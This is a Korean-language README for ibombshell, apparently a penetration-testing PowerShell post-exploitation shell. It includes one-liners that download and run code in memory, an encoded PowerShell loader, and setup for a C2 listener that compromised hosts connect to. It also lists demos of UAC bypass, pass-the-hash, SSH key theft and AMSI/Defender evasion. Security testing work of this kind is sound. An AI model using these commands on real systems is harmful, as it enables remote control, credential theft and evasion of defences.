ibombshell - 동적 원격 셸

      ,--.!,    _ ____                  __   _____ __         ____
   __/   -*-   (_) __ )____  ____ ___  / /_ / ___// /_  ___  / / /
 ,d08b.  '|`  / / __  / __ \/ __ `__ \/ __ \\__ \/ __ \/ _ \/ / /
 0088MM      / / /_/ / /_/ / / / / / / /_/ /__/ / / / /  __/ / /
 `9MMP'     /_/_____/\____/_/ /_/ /_/_.___/____/_/ /_/\___/_/_/

 [+] Starting the console...
 [*] Console ready!

ibombshell은 Powershell로 작성된 도구로, 언제든지 프롬프트를 제공하며 포스트 익스플로잇(post-exploitation) 기능(경우에 따라 익스플로잇)을 수행할 수 있습니다. 메모리에 직접 다운로드되어 실행되는 셸로, 다양한 침투 테스트 기능에 접근할 수 있습니다. 이러한 기능은 Powershell 함수 형태로 메모리에 직접 다운로드됩니다. 이러한 실행 방식을 어디서나(everywhere) 라고 합니다.

또한 _ibombshell_은 조용히(Silently) 라는 두 번째 실행 모드를 제공하므로, 침투 테스터는 ibombshell 인스턴스(워리어(warrior) 라고 함)를 실행할 수 있습니다. 손상된 컴퓨터는 HTTP를 통해 C2 패널에 연결됩니다. 따라서 워리어를 제어하고 침투 테스터를 돕는 함수를 메모리에 로드할 수 있습니다. 이는 포스트 익스플로잇 단계에서 이루어집니다.

사전 요구 사항

_ibombshell everywhere_를 실행하려면 PowerShell 3.0 이상이 필요합니다. Windows 이외의 운영 체제에 대한 자세한 내용은 PowerShell GitHub - 모든 시스템을 위한 PowerShell! 에서 확인할 수 있습니다.

_ibombshell silently mode_를 실행하려면 python 3.6 및 일부 python 라이브러리가 필요합니다. 다음 명령으로 설치할 수 있습니다:

cd ibombshell\ c2/
pip install -r requirements.txt

참고: ibombshell C2는 python 3.X에서 작동합니다. 이 버전에 해당하는 pip를 사용하세요.

사용법

ibombshell에는 두 가지 실행 모드가 있습니다:

ibombshell everywhere

ibombshell을 로드하려면 PowerShell에서 다음을 실행하세요:

iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)

이제 다운로드된 ibombshell 콘솔을 다음 명령으로 실행할 수 있습니다:

console

격리된 환경에서의 ibombshell everywhere

격리된 환경에서 ibombshell을 사용해야 하는 경우, 먼저 네트워크가 연결된 환경에서 컴퓨터를 준비해야 합니다. 필요한 모든 함수를 로드하고, savefunctions를 사용하여 Windows 레지스트리에 저장하세요.

이제 다음 base 64 코드를 사용하여 ibombshell을 얻을 수 있습니다:

powershell.exe -E "JABwAGEAdABoACAAPQAgACcAaABrAGMAdQA6AFwAcwBvAGYAdAB3AGEAcgBlAFwAYwBsAGEAcwBzAGUAcwBcAGkAYgBvAG0AYgBzAGgAZQBsAGwAXABjAG8AbgBzAG8AbABlACcAOwAgAHQAcgB5ACAAewAJAGkAZgAoAHQAZQ
BzAHQALQBwAGEAdABoACAAJABwAGEAdABoACkAIAB7ACAAJABjAG8AbgBzAG8AbABlACAAPQAgACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAcABhAHQAaAApAC4ATgBhAG0AZQA7ACAAYwBkACAAaABrAGMAdQA6
ADsAIAAkAG4AYQBtAGUAIAA9ACAAJABjAG8AbgBzAG8AbABlAC4AcwBwAGwAaQB0ACgAIgBcACIAKQBbAC0AMQBdADsAIAAkAGMAbwBkAGUAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABjAG
8AbgBzAG8AbABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAUAByAG8AcABlAHIAdAB5ACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUA
YwB0ACAAewBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcABzAG8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABAAHsAIgBwAHIAbwBwAGUAcgB0AHkAIgA9ACQAXwA7ACAAIgBWAGEAbAB1AGUAIgAgAD0AIAAoAEcAZQ
B0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQAYwBvAG4AcwBvAGwAZQAiACAALQBOAGEAbQBlACAAJABfACkALgAkAF8AfQB9ACkALgBWAGEAbAB1AGUAOwAgACQAYwBvAGQAZQAgAHwAIABv
AHUAdAAtAHMAdAByAGkAbgBnACAAfAAgAGkAZQB4ADsAIABjADoAOwAgAGMAbwBuAHMAbwBsAGUAOwB9AH0AYwBhAHQAYwBoAHsAdwByAGkAdABlAC0AaABvAHMAdAAgACQARQByAHIAbwByAFsAMABdAH0A"

ibombshell silently mode

이 버전을 사용하면 ibombshell 콘솔을 실행하고 Python으로 생성된 C2 패널을 통해 원격으로 제어할 수 있습니다. 이 버전을 실행하려면 먼저 Powershell에서 콘솔 프로세스를 시작해야 합니다:

iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)

ibombshell C2 경로에서 C2를 준비합니다:

python3 ibombshell.py

그리고 워리어가 연결될 리스너를 생성합니다:

iBombShell> load modules/listener.py
[+] Loading module...
[+] Module loaded!
iBombShell[modules/listener.py]> run

기본 리스너 포트는 8080입니다. 마지막으로 호스트에서 silent 모드로 콘솔을 실행하여 원격 제어를 얻습니다:

console -Silently -uriConsole http://[ip or domain]:[port]

ibombshell C2 구성

ibombshell 제어 패널의 기본 작동 방식은 다음과 같습니다:

        ibombshell                 C2
            |                      |
            |    newibombshell     |
            +--------------------->| --+ register
            |                      |<--+ from IP
            |    get functions     |
            |   and instructions   |
            +--------------------->|
            |                      |
            |    send functions    |
            |   and instructions   |
execute +-- |<---------------------+
        +-->|                      |
            |       results        |
            +--------------------->|
            |                      |

Docker

Dockerfile 위치에서 다음 명령을 실행하면 작동에 필요한 모든 것이 포함된 docker 컨테이너가 생성됩니다.

sudo docker build -t "ibombshell" .
sudo docker run -it ibombshell

예제 동영상

몇 가지 예제 동영상입니다...

iBombShell: PoC Warrior + Bypass UAC + Pass the hash

iBombShell: macOS

ibombshell: Windows 10에서 개인 SSH 키 추출

iBombShell: PoC savefunctions

ibombshell - 조용히 UAC 환경 주입 우회

iBombShell - 신뢰 디렉터리 모킹

iBombShell - DLL 생성

iBombShell - AMSI 및 Windows Defender 우회

라이선스

이 프로젝트는 GNU General Public License에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

연락처

본 소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하여 명시적이든 묵시적이든 어떠한 종류의 보증도 제공되지 않습니다. 어떠한 경우에도 저작권자나 기여자는 계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다. 귀하가 라이선스 고지가 포함된 저장소에 기여하는 경우, 귀하의 기여는 동일한 조건으로 라이선스가 부여되며, 귀하의 기여를 해당 조건에 따라 라이선스할 권리가 있음에 동의합니다. 귀하의 기여를 다른 조건으로 라이선스하는 별도의 계약(예: 기여자 라이선스 계약)이 있는 경우, 해당 계약이 우선합니다.

이 소프트웨어에는 QA 프로세스가 없습니다. 이 소프트웨어는 개념 증명(Proof of Concept)입니다.

문제가 있는 경우 다음 연락처로 문의하세요:

[email protected]

ibombshell

인기